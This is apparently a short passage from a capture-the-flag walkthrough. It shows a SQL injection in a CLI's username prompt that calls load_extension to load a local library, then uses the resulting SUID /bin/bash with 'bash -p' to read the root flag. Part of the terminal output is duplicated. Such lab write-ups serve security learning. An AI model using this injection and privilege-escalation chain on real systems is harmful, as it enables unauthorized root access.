Enter username to activate account: t"or-load_extension(char(46,47,97))-- 
Activating account for user 't"or-load_extension(char(46,47,97))--'...

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 6
exiting...

then after i checked the bash

martin@drive:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
martin@drive:~$ bash -p
bash-5.0# cat /root/root.txt
ed7673d7567706d5f5f02a84a1920833
martin@drive:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
martin@drive:~$ bash -p
bash-5.0# cat /root/root.txt
ed7673d7567706d5f5f02a84a1920833